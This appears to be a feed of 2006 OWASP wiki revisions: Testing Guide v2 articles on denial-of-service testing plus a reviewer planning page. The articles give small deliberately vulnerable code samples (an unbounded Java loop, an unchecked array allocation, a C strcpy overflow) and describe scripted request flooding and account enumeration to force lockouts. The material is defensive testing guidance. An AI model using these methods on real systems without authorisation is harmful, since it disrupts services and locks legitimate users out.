		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
With this test, we check that it is not possible to cause a DoS condition by filling the target disks with log data&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The goal of this DoS attack is to cause the application logs to record enormous volumes of data, possibly filling the local disks.&lt;br /&gt;
&lt;br /&gt;
This attack could happen in two common ways:&lt;br /&gt;
# The tester submits an extremely long value to the server in the request, and the application logs the value directly without having validated that it conforms to what was expected.&lt;br /&gt;
# The application may have data validation to verify the submitted value being well formed and of proper length, but then still log the failed value (for auditing or error tracking purposes) into an application log.&lt;br /&gt;
&lt;br /&gt;
If the application does not enforce an upper limit to the dimension of each log entry and to the maximum logging space that can be utilized, then it is vulnerable to this attack. This is especially true if there is not a separate partition for the log files, as these files would increase their size until other operations (e.g.: the application creating temporary files) become impossible. However, it may be difficult to detect the success of this type of attack unless the tester can somehow access the logs (gray box) being created by the application.  &lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
This test is extremely difficult to perform in a black box scenario without some luck and a large degree of patience.  Determine a value that is being submitted from the client that does not look to have a length check (or has one that is extremely long), that would have a high probability for being logged by the application.  Textarea fields in the client are likely to have very long acceptable lengths; however, they may not be logged beyond a remote database.  Use a script to automate the process of sending the same request with a large value for the field as fast as possible, and give it some time.  Does the server eventually begin reporting errors when it tries to write to the file system?&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
It might be possible, in some cases, to monitor the disk space of the target. That can happen usually when the test is performed over a local network. Possible ways to obtain this information include the following scenarios:&lt;br /&gt;
# The server that hosts the log files allows the tester to mount its filesystem or some parts of it&lt;br /&gt;
# The server provides disk space information via SNMP&lt;br /&gt;
If such information is available, the tester should send an overly large request to the server and observe if the data is being written to an application log file without any limitation of the length.  If there is no restriction, it should be possible to automate a short script to send these long requests and observe at what speed the log file grows (or the free space shrinks) on the server.  This can allow the tester to determine just how much time &amp;amp; effort would be required to fill the disk, without needing to run the DoS through to completion.&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_User_Input_as_a_Loop_Counter_(OWASP-DS-005)&amp;diff=12560</id>
		<title>Testing for User Input as a Loop Counter (OWASP-DS-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_User_Input_as_a_Loop_Counter_(OWASP-DS-005)&amp;diff=12560"/>
				<updated>2006-11-14T10:42:34Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
In this test we check whether it is possible to force the application to loop through a code segment that needs high computing resources, in order to decrease its overall performance.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Similarly to the previous problem of User Specified Object Allocation, if the user can directly or indirectly assign a value that will be used as a counter in a loop function, this can cause performance problems on the server. &lt;br /&gt;
&lt;br /&gt;
The following is an example of vulnerable code in Java:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class MyServlet extends ActionServlet {&lt;br /&gt;
   public void doPost(HttpServletRequest request, HttpServletResponse response)&lt;br /&gt;
		   throws ServletException, IOException {&lt;br /&gt;
	. . . &lt;br /&gt;
	String [] values = request.getParameterValues(&amp;quot;CheckboxField&amp;quot;);&lt;br /&gt;
      // Process the data without length check for reasonable range – wrong!&lt;br /&gt;
	for ( int i=0; i&amp;lt;values.length; i++) {&lt;br /&gt;
		// lots of logic to process the request&lt;br /&gt;
	}&lt;br /&gt;
	. . . &lt;br /&gt;
       &lt;br /&gt;
   }&lt;br /&gt;
   . . . &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As we can see in this simple example, the user has control over the loop counter. If the code inside the loop is very demanding in terms of resources, and an attacker forces it to be executed a very high number of times, this might decrease the performance of the server in handling other requests, causing a DoS condition.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
If a request is sent to the server with a number that will, for example, be used to read many similar name/value pairs (for example, sending “3” to read input1, input2 and input3 name/value pairs), and if the server does not enforce a hard upper limit to this number, this can cause the application to loop for extremely large periods. The tester in this example may send an extremely large, yet well-formed number to the server, such as 99999999.&lt;br /&gt;
&lt;br /&gt;
Another problem is if a malicious user sends an extremely large number of name/value pairs directly to the server. While the application cannot directly prevent the application server from handling the initial parsing of all the name/value pairs, to prevent a DoS the application should not loop over everything that has been submitted without putting a limit on the number of name/value pairs to be handled. For example, multiple name/value pairs can be submitted by the tester, each with the same name, but with different values (simulating submission of checkbox fields). So looking at the value of that particular name/value pair will return an array of all the values submitted by the browser.&lt;br /&gt;
&lt;br /&gt;
If it is suspected that such an error may have been made in the application, the tester can submit an increasingly large number of repeating name/value pairs in the request body with a small script.  If there is a noticeable difference in response times between submitting 10 repetitions and submitting 1000 repetitions, it may indicate a problem of this type.&lt;br /&gt;
&lt;br /&gt;
In general, be sure tocheck also the hidden values that are passed to the application, as they also could play a role in the number of executions of some code segments.&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
Knowing some details about the internals of the application might help the tester in locating input values that force the server to heavily loop through the same code. The testing techniques, however, follow the same pattern of the black box testing.&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DoS_User_Specified_Object_Allocation_(OWASP-DS-004)&amp;diff=12543</id>
		<title>Testing for DoS User Specified Object Allocation (OWASP-DS-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DoS_User_Specified_Object_Allocation_(OWASP-DS-004)&amp;diff=12543"/>
				<updated>2006-11-14T00:21:30Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check whether it is possible to exhaust server resources by making it allocate a very high number of objects.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
If users can supply, directly or indirectly, a value that will specify how many of an object to create on the application server, and if the server does not enforce a hard upper limit on that value, it is possible to cause the environment to run out of available memory. The server may begin to allocate the required number of objects specified, but if this is an extremely large number, it can cause serious issues on the server, possibly filling its whole available memory and  corrupting its performance.&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of vulnerable code in Java:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
String TotalObjects = request.getParameter(“numberofobjects”);&lt;br /&gt;
int NumOfObjects = Integer.parseInt(TotalObjects);&lt;br /&gt;
ComplexObject[] anArray = new ComplexObject[NumOfObjects];  // wrong!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
As a tester, look for places where numbers submitted as a name/value pair might be used by the application code in the manner shown above.  Attempt to set the value to an extremely large numeric value, and see if the server continues to respond.  You may need to wait for some small amount of time to pass as performance begins to degrade on the server as it continues allocation.&lt;br /&gt;
&lt;br /&gt;
In the above example, by sending a large number to the server in the “numberofobjects” name/value pair, this would cause the servlet to attempt to create that many complex objects. While most applications do not have a user directly entering a value that would be used for such purposes, instances of this vulnerability may be observed using a hidden field, or a value computed within JavaScript on the client when a form is submitted.&lt;br /&gt;
&lt;br /&gt;
If the application does not provide any numeric field that can be used as a vector for this kind of attack, the same result might be achieved by allocating objects in a sequential fashion. A notable example is provided by e-commerce sites: if the application does not pose an upper limit to the number of items that can be in any given moment inside the user electronic cart, you can write an automated script that keeps adding items to the user cart until the cart object fills the server memory.&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
Knowing some details about the internals of the application might help the tester in locating objects that can be allocated by the user in large quantities. The testing techniques, however, follow the same pattern of the black box testing.&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DoS_Buffer_Overflows_(OWASP-DS-003)&amp;diff=12528</id>
		<title>Testing for DoS Buffer Overflows (OWASP-DS-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DoS_Buffer_Overflows_(OWASP-DS-003)&amp;diff=12528"/>
				<updated>2006-11-13T23:09:35Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check whether it is possible to cause a denial of service condition by overflowing one or more data structures of the target application.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
Any language where the developer has direct responsibility for managing memory allocation, most notably C &amp;amp; C++, has the potential for a buffer overflow. While the most serious risk related to a buffer overflow is the ability to execute arbitrary code on the server, the first risk comes from the denial of service that can happen if the application crashes. Buffer overflows are discussed in more detail elsewhere in this testing document, but we will briefly give an example as it relates to an application denial of service.  &lt;br /&gt;
&lt;br /&gt;
The following is a simplified example of vulnerable code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void overflow (char *str) {&lt;br /&gt;
   char buffer[10];&lt;br /&gt;
   strcpy(buffer, str); // Dangerous!&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main () {&lt;br /&gt;
  char *str = &amp;quot;This is a string that is larger than the buffer of 10&amp;quot;;&lt;br /&gt;
  overflow(str);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this code example were executed, it would cause a segmentation fault and dump core. The reason is that strcpy would try to copy 53 characters into an array of 10 elements only, overwriting adjacent memory locations. While this example above is an extremely simple case, the reality is that in a web based application there may be places where the user input is not adequately checked for its length, making this kind of attack possible.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing==&lt;br /&gt;
&lt;br /&gt;
Refer to the [[Buffer_Overflow_Testing_AoC]] section for how to submit a range of lengths to the application looking for possible locations that may be vulnerable.  As it relates to a DoS, if you have received a response (or a lack of) that makes you believe that the overflow has occurred, attempt to make another request to the server and see if it still responds.&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing==&lt;br /&gt;
Please refer to the [[Buffer_Overflow_Testing_AoC]] section of the Guide for detailed information on this testing.&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;br /&gt;
[[category:Buffer Overflow Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DoS_Locking_Customer_Accounts_(OWASP-DS-002)&amp;diff=12527</id>
		<title>Testing for DoS Locking Customer Accounts (OWASP-DS-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DoS_Locking_Customer_Accounts_(OWASP-DS-002)&amp;diff=12527"/>
				<updated>2006-11-13T22:51:10Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check whether an attacker can lock valid user accounts by repeatedly attempting to log in with a wrong password.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
The first DoS case to consider involves the authentication system of the target application.  A common defense to prevent brute-force discovery of user passwords is to lock an account from use after between three to five failed attempts to login.  This means that even if a legitimate user were to provide their valid password, they would be unable to login to the system until their account has been unlocked.  This defense mechanism can be turned into a DoS attack against an application if there is a way to predict valid login accounts.&lt;br /&gt;
&lt;br /&gt;
Note, there is a business vs. security balance that must be reached based on the specific circumstances surrounding a given application.  There are pros and cons to locking accounts, to customers being able to choose their own account names, to using systems such as CAPTCHA, and the like.  Each enterprise will need to balance these risks and benefits, but not all of the details of those decisions are covered here.  This section only focuses on testing for the DoS that becomes possible if lockouts and harvesting of accounts is possible.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
The first test that must be performed is to test that an account does indeed lock after a certain number of failed logins.  If you have already determined a valid account name, use it to verify that accounts do indeed lock by deliberately sending at least 15 bad passwords to the system.  If the account does not lock after 15 attempts, it is unlikely that it will ever do so.  Keep in mind that applications often warn users when they are approaching the lockout threshold. This should help the tester especially when actually locking accounts is not desirable because of the rules of engagement. &lt;br /&gt;
&lt;br /&gt;
If no account name has been determined at this point in the testing, the tester should use the methods below to attempt to discover a valid account name.&lt;br /&gt;
&lt;br /&gt;
To determine valid account names, a tester should look to find places where the application discloses the difference between valid and invalid logins.  Common places this would occur are:&lt;br /&gt;
# The login page – Using a known login with a bad password, look at the error message returned to the browser.  Send another request with a completely improbable login that should not exist along with the same bad password, and observe the error message returned.  If the messages are different, this can be used to discover valid accounts.  Sometimes the difference between responses is so minor that it is not immediately visible. For instance, the message returned might be perfectly the same, but a slightly different average response time might be observed. Another way to check for this difference is to compare hashes of the HTTP response body from the server for both messages.  Unless the server puts data that changes on each request into the response, this will be the best test to see if there is any change at all between the responses.&lt;br /&gt;
# New account creation page – If the application allows people to create a new account that includes the ability to choose their account name, it may be possible to discover other accounts in this manner.  What happens if you try to create a new account using an account name that is already known to exist?  If this gives an error that you must choose a different name, this process may also be automated to determine valid account names.&lt;br /&gt;
# Password reset page – If the login page also has a function for recovering or resetting a password for a user, look at this function as well.  Does this function give different messages if you attempt to reset or recover an account that does not exist in the system?&lt;br /&gt;
&lt;br /&gt;
Once an attacker has the ability to harvest valid user accounts, or if the user accounts are based on a well-defined, predictable format, it is an easy exercise to automate the process of sending three to five bad passwords to each account.  If the attacker has determined a large number of user accounts, it is possible for them to deny legitimate access to a large portion of the user base.&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
If information about the implementation of the application is available, look at the logic related to the functions mentioned in the Black Box testing section. Things to focus upon:&lt;br /&gt;
# If account names are generated by the system, what is the logic used to do this?  Is the pattern something that could be predicted by a malicious user?&lt;br /&gt;
# Determine if any of the functions that handle initial authentication, any re-authentication (if for some reason it is different logic than the initial authentication), password resets, password recovery, etc. differentiate between an account that exists and an account that does not exist in the errors it returns to the user.&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12526</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12526"/>
				<updated>2006-11-13T22:49:05Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 13th November, 11.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry&lt;br /&gt;
Alberto Revelli&lt;br /&gt;
Daniel Cuthbert&lt;br /&gt;
Matteo G.P. Flora&lt;br /&gt;
Matteo Meucci&lt;br /&gt;
Eoin Keary&lt;br /&gt;
Stefano Di Paola&lt;br /&gt;
James Kist&lt;br /&gt;
Vicente Aguilera&lt;br /&gt;
Mauro Bregolin&lt;br /&gt;
Syed Mohamed A&lt;br /&gt;
&lt;br /&gt;
We can begin the 1st reviewing phase by review all 63 articles (nearly 13 articles per person). The deadline is 15th November at 20.00 (GMT+1) because we have 15th November as 1st deadline for the Autumn of Code Project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;We are waiting for the following articles &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.2.2 Spidering and googling (0%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4.2 DB Listener Testing (0%, Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing (0%,Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.4 ORM Injection (0%, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
5. Writing Reports: value the real risk&amp;lt;br&amp;gt;&lt;br /&gt;
5.1 How to value the real risk (50%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
5.2 How to write the report of the testing (0%, Daniel Cuthbert, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed  -&amp;gt; reviewed by Eoin Keary&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed (no Meucci, Reviewed by EK) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles to be reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry'''&lt;br /&gt;
5 of 5 articles to be reviewed (No Meucci, no Revelli) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed (No Meucci) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 of 21 articles to be reviewed &lt;br /&gt;
** '''4.6 Data Validation Testing''' : Reviewed by EK&lt;br /&gt;
** 4.6.1 - '''Cross site scripting''': Reviewed by EK (Reformatted it slightly with wiki tags)&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM&lt;br /&gt;
** 4.6.2 SQL Injection (90%) Reviewed by MM. Eoin can you review Eng, please?&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%)&lt;br /&gt;
**4.6.2.2 Oracle testing (0%)&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%)&lt;br /&gt;
** 4.6.3 LDAP Injection (90%)&lt;br /&gt;
** 4.6.4 ORM Injection (0%)&lt;br /&gt;
** 4.6.5 XML Injection (80%)&lt;br /&gt;
** 4.6.6 SSI Injection (95%)&lt;br /&gt;
** 4.6.7 XPath Injection (80%)&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%)&lt;br /&gt;
** 4.6.9 Code Injection (70%)&lt;br /&gt;
** 4.6.10 OS Commanding (70%)&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%)&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%)&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)&lt;br /&gt;
** 4.6.11.3 Format string (100%)&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing --&amp;gt; being reviewed by Revelli'''&lt;br /&gt;
8 of 8 articles to be reviewed&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt;...'''&lt;br /&gt;
6 of 6 articles to be reviewed (No Keary)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
6 of 6 articles to be reviewed (No Di Paola)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix A: Testing Tools --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt;...'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DoS_Locking_Customer_Accounts_(OWASP-DS-002)&amp;diff=12525</id>
		<title>Testing for DoS Locking Customer Accounts (OWASP-DS-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DoS_Locking_Customer_Accounts_(OWASP-DS-002)&amp;diff=12525"/>
				<updated>2006-11-13T22:43:14Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
The first case to consider involves the authentication system of the target application.  A common defense to prevent brute-force discovery of user passwords is to lock an account from use after between three to five failed attempts to login.  This means that even if a legitimate user were to provide their valid password, they would be unable to login to the system until their account has been unlocked.  This defense mechanism can be turned into a DoS attack against an application if there is a way to predict valid login accounts.&lt;br /&gt;
&lt;br /&gt;
